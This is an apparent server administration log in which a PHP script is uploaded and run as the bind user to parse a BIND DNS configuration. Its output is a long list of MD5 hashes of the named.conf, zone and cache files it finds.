MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 22:32:36: Establishing a connection
2026-04-22 22:32:36: 

PUT: /tmp/pkp681933

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 22:32:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp681933; rm /tmp/pkp681933'

2026-04-22 22:32:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
